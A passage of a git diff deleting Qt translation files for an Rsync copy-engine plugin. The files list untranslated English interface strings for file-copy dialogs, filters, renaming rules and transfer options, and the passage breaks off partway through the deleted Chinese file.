- <location filename="../../ListThread.cpp" line="1246"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1293"/>
- <source>Some error have been found during the line parsing</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1299"/>
- <source>Unable to open the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="61"/>
- <location filename="../../RmPath.cpp" line="75"/>
- <source>Unable to remove the folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RmPath.cpp" line="85"/>
- <source>Unable to remove the file</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="312"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="322"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="627"/>
- <source>The checksums not match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="260"/>
- <location filename="../../copyEngine.cpp" line="278"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="289"/>
- <location filename="../../copyEngine.cpp" line="307"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="521"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="116"/>
- <location filename="../../fileExistsDialog.ui" line="187"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="243"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="254"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="274"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="281"/>
- <source>&amp;Overwrite</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="291"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="298"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="307"/>
- <source>Overwrite if newer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="312"/>
- <source>Overwrite if not same modification date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="102"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.cpp" line="112"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileIsSameDialog</name>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="14"/>
- <source>This files are the same file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="20"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="47"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="64"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="81"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="137"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="148"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="168"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="175"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.ui" line="182"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="87"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileIsSameDialog.cpp" line="97"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>folderExistsDialog</name>
- <message>
- <location filename="../../folderExistsDialog.ui" line="14"/>
- <source>This folders are the same folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="62"/>
- <source>The source and destination is same</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="89"/>
- <location filename="../../folderExistsDialog.ui" line="140"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="106"/>
- <location filename="../../folderExistsDialog.ui" line="150"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="200"/>
- <source>Suggest new &amp;name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="211"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="218"/>
- <source>&amp;Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="225"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="232"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.ui" line="239"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="29"/>
- <source>Folder already exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="85"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../folderExistsDialog.cpp" line="95"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>options</name>
- <message>
- <location filename="../../options.ui" line="23"/>
- <source>Transfer the file rights</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="33"/>
- <source>Keep the file date</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="214"/>
- <source>Block size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="43"/>
- <location filename="../../options.ui" line="198"/>
- <source>KB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="56"/>
- <source>Auto start the transfer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="66"/>
- <source>When folder error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="74"/>
- <location filename="../../options.ui" line="95"/>
- <source>Ask</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="79"/>
- <location filename="../../options.ui" line="105"/>
- <source>Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="100"/>
- <source>Merge</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="110"/>
- <source>Rename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="118"/>
- <source>Check if destination folder exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="255"/>
- <source>Rsync (only in copy mode)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="87"/>
- <source>When folder collision</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="128"/>
- <source>Checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="144"/>
- <source>Only after error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="154"/>
- <source>Ignore if impossible</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="171"/>
- <source>Do checksum</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="181"/>
- <source>Enable OS buffer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="234"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="241"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../options.ui" line="191"/>
- <source>OS buffer only if smaller than</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>scanFileOrFolder</name>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="219"/>
- <location filename="../../scanFileOrFolder.cpp" line="283"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="229"/>
- <location filename="../../scanFileOrFolder.cpp" line="293"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="327"/>
- <source>The folder not exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../scanFileOrFolder.cpp" line="329"/>
- <source>The folder is not readable</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-</TS>
diff --git a/plugins-alternative/CopyEngine/Rsync/Languages/zh/translation.ts b/plugins-alternative/CopyEngine/Rsync/Languages/zh/translation.ts
deleted file mode 100644
index 9c2e5d6..0000000
--- a/plugins-alternative/CopyEngine/Rsync/Languages/zh/translation.ts
+++ /dev/null
@@ -1,806 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE TS>
-<TS version="2.0">
-<context>
- <name>AvancedQFile</name>
- <message>
- <location filename="../../AvancedQFile.cpp" line="28"/>
- <location filename="../../AvancedQFile.cpp" line="59"/>
- <location filename="../../AvancedQFile.cpp" line="90"/>
- <source>Not supported on this platform</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="42"/>
- <source>Last modified date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../AvancedQFile.cpp" line="73"/>
- <source>Last access date is wrong</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Factory</name>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../factory.cpp" line="369"/>
- <location filename="../../factory.cpp" line="406"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>FilterRules</name>
- <message>
- <location filename="../../FilterRules.ui" line="17"/>
- <source>Filters dialog</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="33"/>
- <source>Search:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="43"/>
- <source>Search type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="51"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="56"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="61"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="69"/>
- <source>Apply on:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="77"/>
- <source>File</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="82"/>
- <source>Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="87"/>
- <source>File and folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="95"/>
- <source>All string need match</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="102"/>
- <source>Checking</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="108"/>
- <source>The regex is valid</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="115"/>
- <source>Test string:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../FilterRules.ui" line="125"/>
- <source>The test string match with the regex</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>Filters</name>
- <message>
- <location filename="../../Filters.ui" line="14"/>
- <source>Filters</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="30"/>
- <source>Exclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="93"/>
- <source>Inclusion filter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.ui" line="105"/>
- <source>None = Include all</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="92"/>
- <location filename="../../Filters.cpp" line="130"/>
- <source>Raw text</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="95"/>
- <location filename="../../Filters.cpp" line="133"/>
- <source>Simplified regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="98"/>
- <location filename="../../Filters.cpp" line="136"/>
- <source>Perl&apos;s regex</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="106"/>
- <location filename="../../Filters.cpp" line="144"/>
- <source>Only on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="109"/>
- <location filename="../../Filters.cpp" line="147"/>
- <source>Only on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../Filters.cpp" line="115"/>
- <location filename="../../Filters.cpp" line="153"/>
- <location filename="../../Filters.cpp" line="215"/>
- <location filename="../../Filters.cpp" line="254"/>
- <source>Full match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ListThread</name>
- <message>
- <location filename="../../ListThread.cpp" line="1192"/>
- <source>Unable do to move or copy item into wrong forced mode: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1199"/>
- <source>Unable to save the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1215"/>
- <source>Problem at the reading, or file size is null</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1222"/>
- <source>Wrong header: &quot;%1&quot;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1231"/>
- <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1240"/>
- <source>The transfer list is in copy mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1246"/>
- <source>The transfer list is in move mode, but this instance is not in this mode</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1293"/>
- <source>Some error have been found during the line parsing</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ListThread.cpp" line="1299"/>
- <source>Unable to open the transfer list: %1</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>MkPath</name>
- <message>
- <location filename="../../MkPath.cpp" line="62"/>
- <source>Unable to create the folder</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>ReadThread</name>
- <message>
- <location filename="../../ReadThread.cpp" line="154"/>
- <location filename="../../ReadThread.cpp" line="316"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../ReadThread.cpp" line="193"/>
- <location filename="../../ReadThread.cpp" line="373"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RenamingRules</name>
- <message>
- <location filename="../../RenamingRules.ui" line="14"/>
- <source>Renaming rules</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="26"/>
- <source>First renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="32"/>
- <source>%name% - copy</source>
- <extracomment>%name% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="39"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment> should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="49"/>
- <source>Second renaming</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="55"/>
- <source>%name% - copy (%number%)</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.ui" line="62"/>
- <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
- <extracomment>%name%, %number% should not be translated</extracomment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="39"/>
- <location filename="../../RenamingRules.cpp" line="62"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RenamingRules.cpp" line="43"/>
- <location filename="../../RenamingRules.cpp" line="73"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>RmPath</name>
- <message>
- <location filename="../../RmPath.cpp" line="61"/>
- <location filename="../../RmPath.cpp" line="75"/>
- <source>Unable to remove the folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../RmPath.cpp" line="85"/>
- <source>Unable to remove the file</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>TransferThread</name>
- <message>
- <location filename="../../TransferThread.cpp" line="312"/>
- <source>%1 - copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="322"/>
- <source>%1 - copy (%2)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../TransferThread.cpp" line="627"/>
- <source>The checksums not match</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>WriteThread</name>
- <message>
- <location filename="../../WriteThread.cpp" line="443"/>
- <source>Unable to read the source file: </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../WriteThread.cpp" line="481"/>
- <source>File truncated during the read, possible data change</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>copyEngine</name>
- <message>
- <location filename="../../copyEngine.cpp" line="260"/>
- <location filename="../../copyEngine.cpp" line="278"/>
- <source>The engine is forced to move, you can&apos;t copy with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="289"/>
- <location filename="../../copyEngine.cpp" line="307"/>
- <source>The engine is forced to copy, you can&apos;t move with it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="521"/>
- <source>The mode have been forced previously, it&apos;s internal error, please report it</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../copyEngine.cpp" line="795"/>
- <source>Options engine is not loaded, can&apos;t access to the filters</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileErrorDialog</name>
- <message>
- <location filename="../../fileErrorDialog.ui" line="14"/>
- <source>Error on file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="20"/>
- <source>Error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="56"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="73"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="90"/>
- <source>File name</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="136"/>
- <source>&amp;Always do this action</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="156"/>
- <source>Put to bottom</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="163"/>
- <source>Retry</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="170"/>
- <source>&amp;Skip</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.ui" line="177"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="29"/>
- <source>Error on folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileErrorDialog.cpp" line="32"/>
- <source>Folder name</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>fileExistsDialog</name>
- <message>
- <location filename="../../fileExistsDialog.ui" line="14"/>
- <source>The file exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="34"/>
- <source>Source</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="50"/>
- <source>Destination</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="82"/>
- <location filename="../../fileExistsDialog.ui" line="153"/>
- <source>Size</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../fileExistsDialog.ui" line="99"/>
- <location filename="../../fileExistsDialog.ui" line="170"/>
- <source>Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
